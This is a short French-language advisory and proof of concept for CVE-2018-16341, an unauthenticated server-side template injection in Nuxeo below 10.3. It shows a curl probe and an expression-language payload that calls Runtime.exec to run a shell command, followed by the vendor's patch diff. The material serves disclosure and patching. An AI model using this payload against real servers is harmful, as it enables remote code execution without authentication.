
CVE-2018-16341 - Nuxeo : exécution de code à distance sans authentification par injection de modèles côté serveur
Contournement d'authentification Nuxeo et exécution de code à distance < 10.3 via une SSTI - CVE-2018-16341

Analyse détaillée (pas en anglais):
Avis de sécurité:
Remarque: La version 9.x de Nuxeo n'est plus prise en charge par Nuxeo, mais un correctif (hotfix) a été fourni pour la version 9.x. De mon côté, la version 9.10 était vulnérable.
Ce PoC exploite une injection de modèles côté serveur (SSTI) afin d'obtenir une exécution de code à distance (RCE) située dans le fichier NuxeoUnknownResource.java
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
Correctif
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}